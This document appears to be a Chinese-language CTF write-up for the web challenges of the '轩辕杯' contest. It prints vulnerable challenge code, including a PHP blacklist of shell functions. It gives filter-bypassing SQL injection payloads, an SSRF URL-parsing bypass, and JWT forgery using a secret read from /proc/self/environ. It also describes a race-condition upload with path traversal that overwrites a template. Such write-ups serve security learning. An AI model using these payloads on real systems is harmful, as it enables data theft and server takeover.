轩辕杯-web全解
ezflask
ssti,fenjing一把索

ezjs
看main.js知道得到flag的条件是得到100000000000分,而得分条件是game.js里面,我们直接覆盖js文件,将加分改为一次加100000000000


刷新一下跳一分就好

ezrce
非预期,readgzfile函数,没想到可以rce的函数了,还请有大佬教教
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);
$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);
if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}
$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];
if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>

ezsql1.0
测试发现是数字型注入,过滤了空格,然后会有一个对select置空的操作(难绷),最后flag还不在当前数据库里(问就是读了),服了,最终payload流程
1/**/group/**/by/**/3 //判断回显位个数
0/**/union/**/selselectect/**/1,2,3 //判断回显位
0/**/union/**/selselectect/**/1,2,group_concat(schema_name)/**/FROM/**/information_schema.schemata//查库(xuanyuanCTF)
0/**/union/**/selselectect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="xuanyuanCTF" //查表(info)
0/**/union/**/selselectect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="xuanyuanCTF"/**/and/**/table_name="info"查列(id,title,content)
0/**/union/**/selselectect/**/1,2,group_concat(content)/**/from/**/xuanyuanCTF.info //查字段

ezssrf
调试如下

可以看到三斜杠是parse_url会报错过不了第一个验证,但是单斜杠可以正确输出并且不会有host,那么host===null,所以此时两关都过了。先传?url=http:/127.0.0.1/flag得到文件名

签到
第一关

第二关

第三关

第四关

第五关
dp


第六关

ez_web
看源码的对话,尝试爆破fly233的密码得到密码123456789,登入,在点开三本书时发现存在read路由,抓包发现文件读取,尝试任意文件读取,读取/app/app.py得到源码

from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwt
app = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}
def generate_token(username):
payload = {
'username': username
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token
def decode_token(token):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
return payload
except jwt.ExpiredSignatureError:
return None
except jwt.InvalidTokenError:
return None
@app.route('/')
def index():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
username = payload['username']
books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]
return render_template('./index.html', username=username, books=books)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('./login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and users[username] == password:
token = generate_token(username)
response = make_response(jsonify({
'message': 'success'
}), 200)
response.set_cookie('token', token, httponly=True, path='/')
return response
else:
return {'message': 'Invalid username or password'}
@app.route('/read', methods=['POST'])
def read_book():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
book_path = request.form.get('book_path')
full_path = os.path.join(book_dir, book_path)
try:
with open(full_path, 'r', encoding='utf-8') as file:
content = file.read()
return render_template('reading.html', content=content)
except FileNotFoundError:
return "文件未找到", 404
except Exception as e:
return f"发生错误: {str(e)}", 500
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
return redirect('/login')
payload = decode_token(token)
if not payload:
return redirect('/login')
if request.method == 'GET':
return render_template('./upload.html')
if payload.get('username') != 'admin':
return """
<script>
alert('只有管理员才有添加图书的权限');
window.location.href = '/';
</script>
"""
file = request.files['file']
if file:
book_path = request.form.get('book_path')
file_path = os.path.join(book_path, file.filename)
if not os.path.exists(book_path):
return "文件夹不存在", 400
file.save(file_path)
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
pattern = r'[{}<>_%]'
if re.search(pattern, content):
os.remove(file_path)
return """
<script>
alert('SSTI,想的美!');
window.location.href = '/';
</script>
"""
return redirect(url_for('index'))
return "未选择文件", 400
读源码可以知道存在文件上传,但需要JWT伪造管理员,秘钥在环境变量里面,访问/proc/self/environ得到key,网站伪造:JSON Web Tokens - jwt.io

根据前面文章的内容可以知道这里能进行条件竞争来进行文件上传,根据源码知道我们应该要上传文件覆盖原来的reading.html文件,因为os.path.join函数的特性,我们可以通过/../来命名文件实现目录穿越

302的便是上传成功了的,同时另一个访问

总结
写的不好,佬们轻喷

浙公网安备 33010602011771号